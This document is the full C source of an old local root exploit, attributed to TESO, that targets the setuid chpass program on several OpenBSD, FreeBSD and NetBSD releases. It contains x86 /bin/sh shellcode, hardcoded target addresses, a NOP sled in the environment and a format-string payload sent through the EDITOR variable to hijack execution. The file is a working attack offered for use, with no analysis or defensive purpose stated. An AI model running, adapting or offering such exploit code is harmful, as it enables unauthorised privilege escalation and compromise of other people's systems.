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bsd_chpass.c
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2002-05-07
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126 lines
<html>/*
* TESO BSD chpass exploit - caddis <caddis@dissension.net>
*
* greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
*
*/
#include <stdio.h>
char bsd_shellcode[] =
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";
char ptmp_shellcode[] =
"\xeb\x26\x5e\x31\xdb\x88\x5e\x07"
"\x89\x76\x12\x89\x5e\x16\x8d\x4e"
"\x12\x8d\x56\x08\x31\xc0\x52\x53"
"\xb0\x0a\xcd\x80\x53\x51\x56\x53"
"\xb0\x3b\xcd\x80\xb0\x01\xcd\x80"
"\xe8\xd5\xff\xff\xff/bin/sh!/etc/ptmp";
struct platform {
char *name;
unsigned short count;
unsigned long dest_addr;
unsigned long shell_addr;
char *shellcode;
};
struct platform targets[9] =
{
{ "OpenBSD 2.7 i386 ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode },
{ "OpenBSD 2.6 i386 ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode },
{ "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode },
{ "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode },
{ "FreeBSD 4.0-RELEASE ", 167, 0x805023c, 0xbfbffc68, bsd_shellcode },
{ "FreeBSD 3.5-RELEASE ", 135, 0x804fa58, 0xbfbfdcac, bsd_shellcode },
{ "FreeBSD 3.4-RELEASE ", 131, 0x804f988, 0xbfbfdcd0, bsd_shellcode },
{ "NetBSD 1.4.2 ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode },
{ NULL, 0, 0, 0, NULL }
};
char jmpcode[129];
char fmt_string[1000];
char *args[] = { "chpass", NULL };
char *envs[] = { jmpcode, fmt_string, NULL };
void usage(char *name)
{
printf("%s <TARGET>\n"
"1 - OpenBSD 2.7 i386\n"
"2 - OpenBSD 2.6 i386\n"
"3 - OpenBSD 2.5 1999/08/06\n"
"4 - OpenBSD 2.5 1998/05/28\n"
"5 - FreeBSD 4.0-RELEASE\n"
"6 - FreeBSD 3.5-RELEASE\n"
"7 - FreeBSD 3.4-RELEASE\n"
"8 - NetBSD 1.4.2\n", name);
exit(1);
}
int main(int argc, char *argv[])
{
char *p;
int x, len = 0;
struct platform *target;
unsigned short low, high;
unsigned long shell_addr[2], dest_addr[2];
if (argc != 2)
usage(argv[0]);
x = atoi(argv[1]) - 1;
if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform
)) - 1 || x < 0)
usage(argv[0]);
target = &targets[x];
memset(jmpcode, 0x90, sizeof(jmpcode));
strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shell
code);
strcat(fmt_string, "EDITOR=");
for (x = 0; x < target->count; x++) {
strcat(fmt_string, "%8x");
len += 8;
}
shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
shell_addr[1] = target->shell_addr & 0xffff;
if (shell_addr[1] > shell_addr[0]) {
dest_addr[0] = target->dest_addr+2;
dest_addr[1] = target->dest_addr;
low = shell_addr[0] - len;
high = shell_addr[1] - low - len;
} else {
dest_addr[0] = target->dest_addr;
dest_addr[1] = target->dest_addr+2;
low = shell_addr[1] - len;
high = shell_addr[0] - low - len;
}
/* allign on 4byte boundry relative to ebp */
*(long *)&jmpcode[1] = 0x11111111;
*(long *)&jmpcode[5] = dest_addr[0];
*(long *)&jmpcode[9] = 0x11111111;
*(long *)&jmpcode[13] = dest_addr[1];
p = fmt_string + strlen(fmt_string);
sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
execve("/usr/bin/chpass", args, envs);
perror("execve");
}